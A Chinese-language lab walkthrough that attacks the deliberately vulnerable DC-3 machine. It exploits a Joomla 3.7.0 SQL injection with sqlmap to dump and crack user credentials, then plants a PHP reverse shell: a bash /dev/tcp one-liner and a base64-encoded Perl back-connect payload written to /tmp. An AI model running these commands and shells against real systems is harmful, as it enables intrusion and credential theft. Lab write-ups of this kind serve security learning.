DC-3(脏牛提权,但是ZIP已经无法下载)

靶机:192.168.78.136
攻击🐓:192.168.78.131
发现存活主机

ifconfig
nmap -sP 192.168.78.0/24 

在这里插入图片描述
发现存活主机:192.168.78.136

扫描开放端口

nmap -p 1-65535 -A -sV 192.168.78.136

在这里插入图片描述

发现80端口开放并尝试访问

在这里插入图片描述
这里作者说明了此次靶机只有一个FLAG,拿到FLAG需要ROOT权限,提示了我们可以关注系统信息提权

这里暂时不知道怎么办,先扫一下url

python3 dirsearch.py -u 192.168.78.136 -e php

在这里插入图片描述
没有发现可目录

插件看一下是什么框架:

在这里插入图片描述

Joomla框架,该框架有专门的扫描器JoomScan
安装方法如下:

git clone https://github.com/rezasp/joomscan.git

cd joomscan

perl joomscan.pl

在这里插入图片描述
然后对DC3的Joomla的框架进行扫描

perl joomscan.pl  -u 192.168.78.136

在这里插入图片描述
探测到版本是3.7,同时发现管理员登录界面
在这里插入图片描述

去MSF查一下该版本有没有可用的EXP:

searchsploit Joomla 3.7.0

在这里插入图片描述
存在SQL注入
查看.txt,拿到sqlmap注入方式

cp /usr/share/exploitdb/exploits/php/webapps/42033.txt  jommla-370-sqli.txt

在这里插入图片描述

使用SQLmap,附上SQLmap的常见指令:

sqlmap -u url  --users :查看数据库所有用户

sqlmap -u url --passwords :查看数据库所有用户密码

sqlmap -u url :判断注入点

sqlmap -u url --current-dbs :查看当前所有数据库

sqlmap -u url --current-user :查看数据库当前的用户

sqlmap -u url --is-dba :判断当前用户是否有管理员权限

sqlmap -u url --roles :列出数据库所有管理员角色

sqlmap -u url --current-db :查看当前数据库

sqlmap -u url -D 库名 --tables  :爆表

sqlmap -u url -D 库名 -T 表名 --columns :爆字段

sqlmap -u url -D 库名 -T 表明 --C 字段名1,字段名2 --dump :爆数据

sqlmap -u url -D 库名 --dump-all :爆出数据库中所有数据

爆出数据库:

sqlmap -u "http://192.168.61.163/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

在这里插入图片描述

接下来爆表:

sqlmap -u "http://192.168.61.163/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27" --risk=3 --level=5 --random-agent  -p list[fullordering] -D joomaladb --tables

在这里插入图片描述
发现user表,接下来爆字段

sqlmap -u "http://192.168.61.163/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27" --risk=3 --level=5 --random-agent  -p list[fullordering] -D joomladb -T "#__users" --columns

在这里插入图片描述
爆出字段的数据:

sqlmap -u "http://192.168.78.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27" --risk=3 --level=5 --random-agent  -p list[fullordering] -D joomladb -T "#__users" -C "username,password" --dump

在这里插入图片描述

拿到账户和密码,密码一看就知道是经过加密的
使用john破解hash密码

john password

拿到密码:snoopy

进入界面后在这里进行页面编辑,可以对index写一个php反弹shell:
在这里插入图片描述
最简单的脚本:

<?php
echo "hello word";
system("bash -i 'bash -i >& /dev/tcp/192.168.28.133/2333 0>&1' ");
?>

复杂一点的php完成shell反弹:

<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "your IP";
$yourport = 'your port';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?> 

拿到低权shell,需要提权
在这里插入图片描述

这里采用内核提权,但是相关包已经在github上面找不到了

uname -a 
lsb_release -a

查看内核版本为:Ubuntu版本16.04
寻找EXP:

searchsploit Ubuntu 16.04
 searchsploit 39772.txt -p
cp /usr/share/exploitdb/exploits/linux/local/39772.txt 39772.txt
cat 39772.txt 

在这里插入图片描述
因为EXP已经无法下载,所以后面不进行讲解了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值